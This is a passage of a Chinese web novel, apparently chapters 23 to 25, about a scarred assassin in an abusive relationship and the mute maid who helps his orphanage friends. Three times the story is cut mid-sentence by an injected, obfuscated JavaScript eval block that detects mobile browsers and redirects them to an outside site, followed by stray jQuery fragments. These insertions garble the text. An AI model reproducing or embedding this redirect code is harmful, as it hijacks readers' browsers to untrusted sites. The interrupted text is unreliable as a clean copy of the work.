他抱住穴鼠的双腿,身体重压下来。彼此骨肉完全融合在一起,黏腻的汗水冒着种冷意。穴鼠瞪大双眼,呼吸变得急促,他尖叫的频次变得频繁起来,话语里全部是无理取闹。
“那个人是谁!是谁!我要把他杀了。”
乌修平一声不吭。
“你把他认成我。是不是和他做了。”
乌修平捂住脸,穴鼠十指扣住他的指缝,硬生生要看男人的脸。
“说话!”穴鼠歇斯底里地命令道:“丑乌鸦说话啊。说话。”
乌修平不想说话。他不是话本里的贞洁烈女,但他也不是什么活体玩具,他自认为还有点个人意志,有想做的事情,有喜欢的事情。穴鼠毫不在意地将他拐到床上,毫不在意评价他的家人和朋友,毫不在意他内心真正的想法。
穴鼠永远用那点颜色想法评价乌修平身边出现的人。
乌修平真不想说话。
他撤离出穴鼠的身体,感恩的心荡然无存,“他救了曙雀。”似乎要把这句话变成一把锋利的刀,乌修平声音抬高,“要不是那个人,我和曙雀,还有仁爱院都要死了。”
“怎么?”穴鼠也不甘示弱,反讥道:“你难道是在怪我吗?就因为我喜欢你,我看上你的玩意儿,就要我给你们这帮渣滓当牛做马,做一辈子保护伞吗?”
“我没有这个意思。”
“你是不是对你朋友有意思。”
“你胡说八道什么。”
“那你就是怪我没保护你们。”
乌修平怎么敢这么想。
但问题不在于他怎么想,在于穴鼠会怎么想他。
“你就是这个意思。”穴鼠怨恨道:“当初真不该心软。你这种狗男人只配睡在狗笼里。”
乌修平脸色铁青。
他要是等级稍高一点,都能对穴鼠甩脸色。可他只有15级,最多穿上衣服,板着脸什么都不说。穴鼠的歇斯底里从他的前后左右刮过。
乌修平没有说半句辩驳。
这是一个人最低限度的反抗。
穴鼠先生总是这样。乌修平已经习惯了。多年相处下,他还是不理解穴鼠为什么执着自己。过去,他尝试和穴鼠讲道理、从穴鼠身边逃跑、背着穴鼠修复伤疤,他甚至尝试过去改变自己的性取向,叫自己在穴鼠面前硬不起来。可到最后,一切都是无用功。
乌修平没有办法改变身上的诅咒。
他没有办法改变自己的性取向。
他也没有办法离开穴鼠的魔爪。
漫长的死寂的看不到光芒的绝望,包裹着乌修平的人生。
那时,平安生与他的队友们前往更高级的副本;仁爱院里姥姥和修女都更喜欢自强努力的叶生光;口口声声说着喜欢他的穴鼠变本加厉朝他所求。
痛苦无以言复的时刻,乌修平会想起沈曙雀。
从早上起床那一刻,他身边就是沈曙雀。他们没有床,一起睡在吃饭的桌子上。沈曙雀会借他的衣服穿,他没衣服时也会穿沈曙雀的裙子。他们两用同一块皂角洗澡,给彼此打水,在火光中看到对方的雀斑、干皮、伤疤,还有看着看着,忍不住呲出的门牙。
沈曙雀身上有一种野草般的生命力。
在给穴鼠梳头之前,乌修平在沈曙雀身上学会编辫子。和穴鼠那种光泽柔顺的丝绸发不同,沈曙雀每一根发丝都凌乱、粗糙,好似眯上眼,梦从她头上碾过去。乌修平找不到梳子,用手指一点一点顺着女孩的头发,给她编成麻花辫、丸子头。
“啊呜。你编得真好看。”沈曙雀对着窗户左看右看,捂嘴笑起来,“你以后的老婆真幸福。”
乌修平一直给沈曙雀编头发,直到沈曙雀不再读书。
家长们的联合举报让沈曙雀没有学上,女孩背着书包跟着乌修平上学,目送乌修平走入大门,一个人踢着石头,回到仁爱院。放学时间又兴冲冲跑过去,背着书包装做放学的样子,和乌修平一起回来。
到他们再大一点,沈曙雀又让乌修平给自己编头发,特地穿上新运动服。她说,找工作要穿得好一点。乌修平问她去做什么,她说餐厅招洗碗工。
“洗碗工也要穿这么好吗?”
沈曙雀有点不高兴,“我难得有机会打扮一下。”
也是。哪怕在仁爱院内,作为极少数被抛弃的男孩,乌修平也算备受瞩目。他那时候还没遇到瓶颈,还有看上去光明的前景,内心也抱有期望。高二那年,平安生为鼓励他,还给他买了一套结实的运动服。
那套运动服,乌修平和沈曙雀轮着穿。
不管工作有没有面上,那套运动服一直是两个人轮着穿。
唯独穴鼠先生。
乌修平下意识描绘出一个“可靠的老板形象”,不止一次强调过穴鼠的强大、穴鼠古怪的脾气、穴鼠作为老板的可靠。
“天啊。”
和过去无数次一样,沈曙雀向乌修平投来羡慕的目光。一如上学、找工作、得到平安生赠送的新衣服那样,沈曙雀憧憬道:“我要是也能遇到这样的老板就好了。”
她脸上那种纯粹的少女天真,因没有接触到太多男人而显得光辉。乌修平呆愣愣看着,抬起手拂去她脸庞的碎发。
“和我说说你们是怎么遇到的吧。”沈曙雀迫切许愿道:“我也要去碰碰运气。”
他们躺在吃饭的桌子上,挤在肮脏的防水布下,亲昵说着话。空气里充盈着皂角的硫磺味,沈曙雀杂草般的头发茂密铺开。她策划养头发到一定长度,偷摸拿去卖掉,“头发总不会传染疾病吧。”
乌修平用两根手指圈住曙雀的头发,粗粗一把,两个人吃着穴鼠那得到的残羹剩饭,咯咯地笑起来,又害怕又满足地吃独食。
他端来穴鼠那得来的残羹剩饭,两个人偷摸着吃掉,又害怕又满足。
“老鼠先生是个好老板。”
“穴鼠。”
“老鼠。”
“穴鼠。洞穴里的老鼠。”
沈曙雀瘪瘪嘴,“那就是老鼠啦。”不过这不重要,她羡慕乌修平从穴鼠那得到的工资和一些剩饭优惠。她碎碎念自己在酒店后厨的遭遇,拿最低的工资,干最重的活,经理严厉要求她每隔半小时双手泡在消毒水里十分钟,同事们从不叫她的名字,只会叫她“艾滋病”“有病的”。
说到难过的地方,沈曙雀露出泡得发白的双手。二十出头的女孩有一双过分苍老的手,一层一层皮从指甲和指节处剥出来。
“他们还要扣光我这月的工资。”沈曙雀埋怨起来,“真该死。他们再这样,我就躺大厅赖着不走。看谁耗得过谁。啊呜,我能去老鼠那工
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337853|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作吗?”
——不行。
——绝对,不行。
乌修平看着越来越近的穴鼠。他的眼瞳睁大,巴掌、拳头、各种属于穴鼠的惩罚模式在他脑海里转动,仿若俄罗斯转盘。
他想到曙雀面试失败,穿着平安生买给自己的运动服,仰躺在荒山坡上。想到曙雀与自己并肩躲在角落,狼吞虎咽。他环抱着双臂,用一种漂浮的微妙的视角欣赏着曙雀,一如富二代少爷欣赏他狼狈的样子。
乌修平为自己深深地羞愧,又被沈曙雀深深地满足。
他对沈曙雀的情感不是他对平安生的情感,但两个人在他心里的分量并驾齐驱——乌修平始终都记得,沈曙雀开口向他借用高中的校服裤子,用针线修改裤脚。她说她会拆开弄回去,还给乌修平——她想去面试好一点的工作,没找到西装裤,用乌修平的高中校服裤子凑合凑合。
“我要升级。我要做人上人。我不可能一辈子这样。”沈曙雀道:“啊呜。你有老鼠先生,我什么都没有。”
“是穴鼠。”
一个愿意给乌修平工作,对优待乌修平的好好先生。
乌修平情愿自己在沈曙雀心里活得光明磊落。
他不愿意让沈曙雀和其他人知道自己在穴鼠眼里是什么。
“你在想什么?”穴鼠扑上来,眼泪无法克制地掉下来,显得那么不可理喻,无法理解。他对乌修平道:“你是不是一直没听我说话,你刚刚在想什么。臭乌鸦。你在想谁。”
我在想。
想曙雀。想你。
想那个忽然出现救下沈曙雀的人,想那个出现在阳光缝隙里和你极为相似的男人。
那个人会是曙雀的穴鼠先生吗?
乌修平多么希望穴鼠说“是”。他伸出手,虚虚环绕住暴怒的穴鼠,慢慢地收紧。这忽如其来的亲密叫穴鼠僵直,他的怒火与他的暴力在此刻消失殆尽。穴鼠小心翼翼,像追逐泡沫一样的追逐着乌修平的手。
不敢靠得太近,又想无限靠近。
他不太理解乌修平为什么要拥抱自己。正如他对爱与温情的理解,都是在一场酣畅淋漓的运动后,带着双方温度的喘息与拥抱。
“我在想你。”乌修平回答道:“不要再闹。好吗?”
“你在骗我。”穴鼠这么说着,却随着乌修平臂弯的收紧,安静躺在男人怀里。他贴在乌修平伤痕累累的身体上,耳朵压住的地方正好是心脏:心跳声沙漏一般填满穴鼠的耳廓。
“你真的在想我吗?”
乌修平没回答。
他在想沈曙雀,以及从眼前一闪而过的男人背影。
不管穴鼠如何否认。乌修平一厢情愿将那个男人当做穴鼠:这样会让他好过一些,在无能为力时,人只能用念头欺骗自己。他只有将曙雀的救命恩人当做穴鼠,才能让自己对穴鼠好。同样,他只有将曙雀的救命恩人当做穴鼠,才能让自己不对曙雀产生嫉妒。
“真的。”乌修平亲吻穴鼠的嘴唇,“我在想你。”
他的回答并没有那么容易说服穴鼠。
“喝下这瓶吐真剂。再说一遍。”
乌修平喝掉。药水一点都不苦。面对同样的问题,他面不改色,“我在想你。想穴鼠。还要证明什么吗?”
“那个男人是谁?”
“不重要。”乌修平道:“不管他是谁,不重要了。”
救了曙雀的人,乌修平就当对方是穴鼠。
他主动环抱住穴鼠的腰,提议道:“去床上吧。”
24.第二十三章
第二十一章
就在乌修平犒劳穴鼠的时候,成平集团内部进行一场翻天覆地的自查。
“怎么回事?”说话的人穿着一身西装,戴着金丝眼镜,看上去一副斯文败类的样子,说话也格外符合其刻板印象。“我们派出去的人都死了?对方很厉害?”
如果他没记错的话,表少爷身边那位保镖就有39级。更别提他还额外派出去一位40级的刺客。别的不说,光集团在刺客身上下的本钱就令人肉疼:提升等级、配置专属的技能、还有一系列的烧钱的傀儡道具。若不是这次涉及到上面那位真正的少爷,他们也不可能将傀儡刺客派出去。
当然,他们也不是自大狂妄之徒。
在刺客下手之前,他们已经基本掌握乌修平一行人的踪迹。身为本地的地头蛇,他们能调动的能量比叶生光等人想象得还要庞大:
乌修平。15级刺客。一个浑身上下长满伤疤的弃婴,受到未知的强大诅咒。
沈曙雀。10级未转职。母亲是血缘教派早期的成员,母婴传染下诞生的艾滋病患者,受到【瘟疫与疾病之神】的诅咒。
而其他人更不用说。经理甚至预想到那位比丘尼的防御技能,特地给刺客安排件破防武器——可事实来得突如其来,简直叫他感觉措手不及。刺客死了,血缘教派旗下义演团成员也死了大半,表少爷死了,表少爷的保镖也死了。
谁杀的?
总不能是15级和10级那两个小废物吧?
“难道是黑市那位?”经理盘起手,苦恼地思考起来,“可是他手下那么多抽佣金的牛马。为什么偏偏关注这个姓乌的?难道是有什么特别之处?”他思索之余,打开电脑,调出乌修平的大头照看两眼,恶心地关上。
不。那位怎么说也是80级以上的大人物,不至于品味这么差吧。
一杯咖啡顺势放在办公桌上,经理十分顺遂地拿起,随手捏了一下女仆的手。他欣赏着女仆僵硬的肢体,摆摆手,让对方推下。整个过程没有一点声音,那位沉默女仆平静退出房间,徒留下经理继续思考对策。
为了讨好那位表少爷,借此讨好他们真正的少爷,他连上面交代的“痛苦之匣(弱化版)”都送了出去。现在人死了,最直接控制痛苦之匣的戒指一并丢失。真是叫人无奈。
经理召唤道:“叫72工过来。”
女仆鞠一躬,快步走出去唤人。她走到72工位上,依旧没有开口,单手轻拍打那位先生的肩膀,侧身站在一边,快又安静地带路。
可见,她一定是位训练有素的女仆。
但她终究是女仆,只是个工具。主人谈话的时候,低下头,双手平放小腹上,随时准备侍奉。
经理倒是慢悠悠点起一根烟,给72工位上的男人也点上,“我记得,你以前是副本攻略者。等级也很高,怎么后来不做了?对了。你还有个队友叫做平安生,没错吧。”
“是的。”72工位上的男人抬起眼,听到平安生这个名字毫无反馈,“我确实有个队友,但那是三年前的事情了。我现在已经不下副本了。”
“太可惜了。”经理吞云吐雾道:“下副本才是提高等级最快的方式啊。和我说说吧,当时副本里发生了什么?”
他这番假惺惺的嘴脸,终于惹得72工位不悦。
工装下,男人露出一种嘲弄的笑容,“明知故问。”
如果乌修平在这里可能还要思考一下,因为他长大起来后,只远远看过这张脸。但换做童姥姥或明修女,两人能准确说出这人的身份,却不晓得他叫什么名字。
——他是平安生副本小队里的法师,当年和平安生一起把乌修平送到仁爱院的人之一。
“我在这里待得也够久了。”他拉了下帽檐,遮盖住自己的脸,“正好,把辞呈给你。”
经理正是用人的时候,哪里会让他走。
“等下。”经理伸出手,笔画一个九,“你还困在转职任务中吧。我给你这个数,足够你办大部分事情了。”
“不了。”法师说道:“我的转职任务不是钱能解决的。”
他起身,越过经理和女仆,什么都没拿,两手空空进入电梯——经理从他这入手的念头也消散了。他仰躺在老板椅上,设想明天面对上面的问责,痛苦地发出一声长叹,“哎。燕语。”
站着的女仆手指抽搐下。
经理拍拍大腿,“来。让我抱抱。”他亲昵地将年轻女仆搂在怀里,脑袋埋在她的脖颈里,亲吻她的耳后根,喃喃道:“真是烦啊。明天就要面对死老头了。让我亲一亲。”
女仆木头一样坐着,腰杆挺得笔直。
这无趣的举动叫经理整个萎靡起来,他哈哈对着女仆后脖颈吹气,“跟着夫人久了,也变得无趣起来了……起来吧,把36号叫过来。你下班吧。”
女仆端庄地站起来,整理裙子,似乎一切都那么平平无奇。
她和呼唤72号一样,快步轻声走到工位边,用手轻拍对方的肩膀,站在一侧,跟随着来到经理面前,得到第二次许可后,才倒退着离开。她脱掉女仆装束,毛巾不断擦拭后脖颈和耳后,在手上搓出大量泡沫涂在男人哈气亲吻过的地方,再用毛巾用力擦上数遍,起了红皮鸡疙瘩才罢休。
整个过程,她没有说话。
那张鹅蛋脸上,一双眼睛含着泪水,在即将掉下来时,她将毛巾盖在脸上,双手捂着许久。再松开,那双眼睛已经没有泪水,边缘却肿了一圈。她呜呜地抽噎声都被那块厚毛巾吸干了,抽出属于她自己的衣服,平静地穿上。
女仆装突出女性身材,但她自己的衣服臃肿、肥大,完全盖住她所有的女性特征,只留下贫穷的特征。
她提起包,将前三个月的工资塞到口袋里,抱着跑出门。
她来到一处下水道口,瘸腿男孩正在那等待着她。
“燕语姐姐。”瘸腿男孩称呼道:“叶子姐姐说你差不多该下班了。让我来接你。”
燕语。这是多么动人的一个名字。
但她的所有者抱着装满工
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357160|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
资的包,用手在空中笔画起来。她的手部动作生疏,越画越着急,张开口却只有“啊啊”的痛苦呼声。
她叫做燕语,却是一个哑巴。
“啊嗯。嗯。”她竭力笔画起来,瘸腿男孩费力理解着。这种无效的交流让双方的精力快速流逝,但很快,就在隧道另外一头,沈曙雀手持灯,拄着叶生光那根铁棍,歪着身子等着。
她止了血就耐不住性子,到处乱走。
见到燕语,她更单刀直入,“燕语姐。谢谢你们愿意配合我们。要没有你帮忙开门,啊呜那笨蛋找人就得找半天。”
燕语笔画两下,耳根红起来。
沈曙雀看得明白,回答道:“你冒着这么大的风险,间接救了我和啊呜的命。我和啊呜应该对你说句谢谢。”
燕语终于笑起来。
她比划着询问乌修平和沈曙雀的安全,得到肯定的消息后,表示自己带来的新的消息。
沈曙雀道:“啊呜去找他的老板了。我们等他回来一起说。燕语姐,这里环境没以前的好。但逃跑路线多,我带你走一圈。”
她们在脏污的下水道慢慢走,空气恶臭,氛围却那么轻松。地上一切都显得那么压抑和痛苦,唯有地下,光照不到的地方,他们才感觉到宾至如归。乌修平更是和回家一样,熟门熟路从某个管子里爬出来,他看到燕语,眼亮了一番,“燕语姐。你回来了。吃饭了吗?”
燕语摇摇头。
她伸出手,一边握住乌修平,一边握住沈曙雀,三个人安静地走在下水道中。这也是燕语最特别的一点:
她是个连游戏面板都没有召唤出来的普通人。
属于少数中的少数。
她和沈曙雀、乌修平一样,是被整个转职时代抛弃的可怜人。
在她们这一代中,唯一可能往上走的人是叶生光,一个失去双眼却极为聪慧的女孩。她听到三人的脚步声,坐在椅子上摸索着方向,连连呼唤道:“燕语姐?燕语姐?曙雀姐,你把我的拐杖还给我吧。修平哥。”
乌修平将拐杖还回去,按着叶生光坐在原位。
沈曙雀全身穿得严实,她与燕语坐在一排,充当瞎子和哑巴之间的翻译:这两一个看不见对方的手语、字条。一个说不出话,只能听到“啊啊啊”的声音。她们独处在一起想要说,似有千言万语,却什么都说不出来。
“唉。”沈曙雀偶尔会拉着乌修平说悄悄话,“造化弄人。”
乌修平不明白沈曙雀可怜什么。
他问道:“怎么了?”
“什么怎么。”沈曙雀压低声线,窃窃不止,“叶子最喜欢和燕语姐玩。你看不出来吗?”
曾经的燕语,和她的名字一样,有着美妙的嗓音。在乌修平等人还小时,都是她念着一个又一个故事,哄着孩子们入睡。
后来,她被人毒哑了。
叶生光就成那个讲故事的人。
她终于站在她憧憬过的位置上,却与她所憧憬过的人之间,隔着一道无法跨越的通天塔。
25.第二十四章
第二十四章
燕语是仁爱院现存最年长的孩子。
她不一定是仁爱院最早养育的那批孩子,但一定是活下来且最健康的孩子。在乌修平和沈曙雀的记忆里,燕语姐除了没有游戏面板外,和普通人没任何差别。她会做大小各类家务,及擅长照看病患和孩子。
忙碌的生活中,燕语姐用唱歌和讲故事消解困顿。
而她唱得歌多是游戏化前的歌曲。叶生光经常顺着歌声寻找到燕语。
“欢乐女神,圣洁美丽,灿烂光芒照大地。我们心中充满热情,来到你的圣殿里。你的力量能使人们,消除一切分歧。在你光辉照耀下,人类团结成兄弟。”
沈曙雀与乌修平也会唱着这首歌。他们十岁那年,平安生和他的队友们购置来一台二手电子琴。天气晴朗的下午,明修女会坐在电子琴前,叮叮咚咚弹奏起唱诗班歌曲。她教会燕语如何弹这台略微走调的二手乐器,教孩子们唱贝多芬的《欢乐颂》。
“欢乐女神,圣洁美丽,灿烂光芒照大地。我们心中充满热情,来到你的圣殿里。你的力量能使人们,消除一切分歧……”
这一年,燕语成年了。
乌修平和沈曙雀都对这一年里特殊的一天有印象。他们两蹲在墙角把《圣经》当话本来看,门口传来明修女无法遏制地哭泣声。一道又一道治疗的光芒闪烁,宛若白日烟火,技能爆开的星点消失在烈日下。
沈曙雀和乌修平跑出去。仁爱院的树下一片慌乱,明修女似乎意识到技能的无用,捂住口鼻发出哽咽,眼泪扑朔掉下。童姥姥环抱着燕语,遮盖住她的表情。
“不能就这么算了。”童姥姥道:“太欺负人了。”
明修女哭得没有气。她一丝不苟的修女头巾终于凌乱起来。所有孩子中,燕语是唯一一个会唱赞美诗的孩子。她能发出塞壬般的哨音,那种清澈、明亮的高音,宛若暴风雨中的雨燕,又如同旧时代神殿的第一缕日光。
现在什么都没有了。
燕语失魂落魄地被两位长者簇拥着。乌修平和沈曙雀数次想要挤进去,都没能成功。
“燕语姐怎么了?”十岁的沈曙雀问十岁的乌修平。
乌修平也不知道。他猜测道:“我听到‘欺负’。”
沈曙雀道:“什么要欺负燕语姐姐?”
乌修平琢磨半天,不知道。他觉得外人欺负自己和曙雀好歹有个理由。那些人嫌弃自己长得丑,嫌弃曙雀身上有病。可燕语姐姐做错了什么?姐姐长得好看,声音好听,也很健康,就算没有游戏面板,她也是个非常好的健全人。
为什么要欺负燕语?
乌修平不理解。他道:“我们要干嘛。”
沈曙雀也不知道。但她有一套自己的野蛮逻辑,“总不能什么都不做吧。”
他们暗戳戳打听到底是怎么一回事。仁爱院里的疯子、傻子、残疾孩子们各有各地说法,各种揣测与担忧汇聚在晚饭饭桌上。明修女尖叫罚他们不准晚饭。所有孩子忍着饥饿,雏鸟似地嗷嗷叫起来。
“燕语姐姐。”“姐姐。”“姐姐。”
燕语没有和往日那样回应孩子们。
她坐在灯光下美得仿佛石膏像。她抬起双手,胡乱比划着什么。但没有人能看出那代表什么。叶生光惶恐地坐在桌面,全无念书时那种镇定。她的双手在腿上乱摸,最后摸索到一道敞开的癞疤。
那是乌修平的手。
叶生光却好像握住什么救命稻草一般,询问道:“修平哥。修平哥。燕语姐呢?我怎么听不到声音?”
乌修平说,燕语姐没发出声音。
这是一句客观的话,也是一句委婉的话。
沈曙雀早早跑去窗户下偷听童姥姥和明修女的争吵。她在睡前回来,与乌修平窃窃私语,“燕语姐给人毒哑了。”
“啊?”
“是一个高管。”沈曙雀简单概括自己听到的东西,“他们不想要聒噪的女仆。”
乌修平不清楚聒噪和燕语姐有什么关系。他和沈曙雀蜷在薄被里,两个人对黑幕幻想自己大杀四方,拔掉那个坏高管的舌头,将他吊死在房梁上。
“你有点变态哦。啊呜。”沈曙雀道:“我就想弄死他。”
乌修平道:“阿雀。你真好。”
他们做了幼稚的规划,复仇计划里全是无知的冲动。随着天幕逐渐放亮,两人浑浑噩噩起身。
他们去厨房帮忙,将一晚上的巧思说给燕语听。而他们可怜的姐姐用手指沾着唾液,在桌面断断续续写:算了,我不能再丢掉工作。
唾液写下的字。潦草至极。又被泪水淹没。
十岁的乌修平和沈曙雀无法理解这一切。
“为什么呢?”沈曙雀从最开始埋怨那个下毒的高管,到埋怨不反抗的燕语姐。她对乌修平道:“为什么会这样?难道因为生来没有游戏面板,姐姐就不反抗吗?”
乌修平不知道怎么解释。
他揣测道,“因为打不过吧。姐姐在高等职业者面前,会很弱。”
“和他们一起死。”
如果能一起死,就好了。乌修平想到学校的同学们。和十三岁遭遇的校园暴力比起来,之前的学生生活是一场默契的人造雪景。同学们除了隐晦的憎恶的好奇外,和他只剩下基础的“嗯”。
在乌修平的心中,那些同学的面容趋于模糊。就连上初中遭遇的霸凌者,他也不是很清楚他们的五官,每一个人头上都绷着肉色丝袜——乌修平在梦境与幻想中凌.虐得每一个施暴者都不存在具体的脸。他清楚知道校园暴力不对,自己产生的幻想也不对,可他不知道要怎么办。
挨打的时候,乌修平觉得自己也会成为施暴者。
他有这种感觉,为此恐惧还手。
沈曙雀却不会。她从不掩饰自己的暴力与凶悍,辍学后,她一个人可以打十个。别管男的女的,她奉行干死完事。
“如果燕语姐没要求我们帮她杀人。我们杀人也改变不了现状。”沈曙雀道:“这个坏人死了,还会有下一个坏人。人是杀不完的。他们就是看我们好欺负。”
乌修平道:“姐姐也想变强。”
谁心甘情愿做一个弱者呢?
沈曙雀开始骂狗屎老天,骂乱七八糟的世道。反正她一直是这个脾气,二十一岁也没有改变,把燕语接回来后,还糊里糊涂和乌修平说话。
“血好像崩出来了。”
沈曙雀脱下外套,乌修平给她重新上药。叶生光、燕语、童姥姥、明修女四个人围坐着交换彼此对的信息。
“安生的队友在成平集团工作?”明修女语无伦次地说道:“是哪一个?我记得他们那一队都是男孩子。不对。近战。远攻。安生是里面唯一一个治疗系……他们不应该继续进副本吗?”
和上一个时代不同。
在游戏化的世界里,等级、职业、道具、技能比什么都重要。哪怕是大公司,也侧重开发副本、组建副本开荒团,专门培养顶尖职业者。只有没办法升级,或放弃职业生涯的普通人才会从事普通的工作。
燕语双手笔画起来,那不同任何一种“手语”。因为燕语一开始是个正常人,她没经受专业的手语教育,所有比划都是她念头的呈现。
过去燕语也尝试写下在纸上,打在通讯里。可每次笔尖落在纸面,手指敲击键盘。属于雇主的技能就会强行控制她的肢体,字不成字,纸张上的笔画扭曲成线团,键盘上每一个字符崩坏成乱码。
以达到绝对的保密性。
“燕语姐说,是一个法师。嘶。啊呜轻点。”沈曙雀叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368865|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声,伸出手拍乌修平的脑壳,“我又不能屏蔽痛觉。你轻点轻点。”
乌修平举着碘酒抱歉。不过他到今天还是很好奇,沈曙雀如何做到翻译得那么精准?
“阿雀,你怎么做到的?”
“我善于观察。”沈曙雀指着自己的双眼,忽得转过头看向乌修平,“特别是眼睛。我和啊呜不一样,很擅长观察人。”
这也是为什么,乌修平被派去杀人,沈曙雀被派去寻找傀儡本体——两人都与傀儡打过照面,实力和心性各有优缺点。若让乌修平去寻人拖延时间呢,沈曙雀估计要遭受两面夹击。
“啊?”乌修平哭笑不得,“我很不擅长吗?”
“当然啦。”沈曙雀理所当然地说道:“有时候你就像个笨蛋,就关心自己心里那点事情……哎呀,快点涂啦。还要我露着背多久嘛,冻死人了。”
乌修平用纱布用力压了压沈曙雀的伤口,将染血的布头放在专门的袋子里,稍后烧掉。
“我哪里是笨蛋。”乌修平道。
沈曙雀鼻腔哼哼几声,也不挑别的,询问道:“好啊。那你告诉我,平叔的副本小队到底有几个人。”
乌修平自信开口道:“当然是……”
五个?三个?不,应该更多,可能是七个……?
沈曙雀就知道他答不上来,窃笑着换了个问题,“我们院里总共有多少个孩子。里面多少是身体残疾,多少是脑子有病?”
“我。”乌修平支支吾吾,“我管这个干什么。”
他每日干活、工作,闲了不是给院里做家务,就是去满足穴鼠。他根本没有注意到这些零零碎碎的数据。他每次都是从童姥姥那拿到单子,找穴鼠的路数兑换稀有药物。
“平叔的小队呢?”沈曙雀道:“这你也没关注吧,你就关注平叔。”
乌修平恼羞成怒,用力将碘伏压在沈曙雀伤口上。女孩疼得翻过身打他的肩膀,掐他的大腿肉,“我又没说错。”
“我都没见过。”乌修平越想越是这个道理,“平叔从不带队友过来。他。谁知道他是不是真的有队友。我又没见过怎么知道。”
平安生从来都是一个人进入仁爱院。乌修平和沈曙雀小时候格外爱跑到外面迎接平安生,她们时常看到清晨与黄昏的树下,阳光照射出几个粗壮高挑的影子,粉尘与光模糊影子的真面目。
“那是什么?”沈曙雀会问。
平安生回答道:“我的队友。好了。我们快进去吧。”
事实上,乌修平和沈曙雀并没有见过平安生的队友们。
那是一队活在平安生描述里的男人们。
“谁知道队友是不是真的。”乌修平又挨了沈曙雀三两下打,捂着脑壳埋怨道:“我没见过。难道你见过?”
他嘴里说着疑问句,脸却看向燕语。
“我当然见过。”沈曙雀翻白眼,“你也不想想,我那时没学上,都在干什么。”
燕语手指抽搐几下,随后抬起双臂,先做出戴帽子的动作,手指在另一只手掌上做出小人行走的样子。她目光与乌修平接壤,飞速错开。
沈曙雀翻译,“燕语姐说,那个人戴着兜帽。她不知道对方长什么样子。她老板说,那就是平叔的队友。不过对方现在,要离开集团。奇怪,离开集团干什么?难道要去打副本吗?”后半段是她的自言自语,中间带着点疼痛的倒吸凉气,大概是布料摩擦到伤口。
她又把外套脱掉,扯着乌修平碎碎念,好像这样做能让身体疼痛从嘴里吐出来。
“今天的会就开到这里吧。”沉默的另一边,童姥姥和明修女完全是别样做派。她们从地上起来,脸上没有半分笑意,“都去休息吧。”
寥寥片语。
她们有和孩子完全不一样的判断。
26.第二十五章
第二十五章
下水道充斥着难闻的气味,爬虫和鼠类在看不见的地方爬行。照明用的手提灯散发出厚厚的煤油光芒。提供给下水道维修工行走的通道,狭窄滑腻,边缘长满厚腻的藓类和蕨类,光线一束一束偶然地从下水道盖中射进来。童姥姥和明修女一前一后前行。
“安生还在昏迷中。”明修女道:“我不觉得是那些孩子们出卖他。”
她口中的孩子明显代指平安生的队友们。
与乌修平等人不同。童姥姥与明修女都亲眼见过那些男人们。她们亲手从平安生及其队友中接过乌修平。她们清楚记得那些男人们板着脸帮仁爱院修缮水管,挖开地面,补上屋顶漏洞。她们能轻而易举记起那些人的脸。明修女想那些人也记得自己与童比丘尼的脸。
“这中间一定有什么误会。”
童姥姥一言不发。她牵着明修女走在路上,前方是哗哗的污垢出水口,水流声掩盖住她们的对话,叫旁人没办法听清楚。爬虫与鼠类在穹顶行径,漆黑的眼瞳闪烁不停。
“谁能保证他们还是好的呢?”童姥姥道:“明。你忘了自己是怎么受伤的吗?”
明修女停顿,欲盖弥彰,“那不一样。商业组队怎么能和安生那种小队比。稳定组队除非遇到极端的情况,不然不会解散。”
“安生这种情况还不够极端吗?”童姥姥反驳道:“你什么时候才能放开那种天生的想法——你和珍妮为什么一直抱着这么天真的想法呢?安生明明就是被他的队友放弃了。你为什么要去联系那些男人!”
“因为我们没有战斗力。”明修女道:“你也看到了。修平和曙雀根本做不到保护所有人。我们需要真正的战斗力。”
她说到伤心处,撇开童姥姥的手,蹲下身捂住脸,“珍妮如果还在。我们就不会这样被动挨打。阿童,你已经很久没有下过副本了。你不知道外面最强的还是战斗职业。”
童姥姥知道。
面对这样的指责,她显得无力。谈起逝去的好友,苍老与皱纹瞬间爬满她的脸,“我知道。”
乌修平的等级上不去。
沈曙雀根本没办法完成转职任务。
其余孩子也没有升级的可能性,他们或身体残疾,或智力缺陷。而最受众人瞩目的叶生光,不是战斗职业,卡在现有的等级许久。
仁爱院缺少真正的战斗力。
可找一个强有力的战斗力?又能找谁?平安生之前的队友?还是昨天帮助他们斩杀强敌的神秘人?
“其实还有一个方式。”明修女捂着的脸,传出声音,“但那会让安生感觉到痛苦……”
“我不同意。”
“我也不同意。”明修女道:“所以我认为找安生的队友……总不会所有人都不在乎安生吧。他们过去是最好的搭档,他们还是从小一起长大的朋友吧。”
童姥姥没有说话。
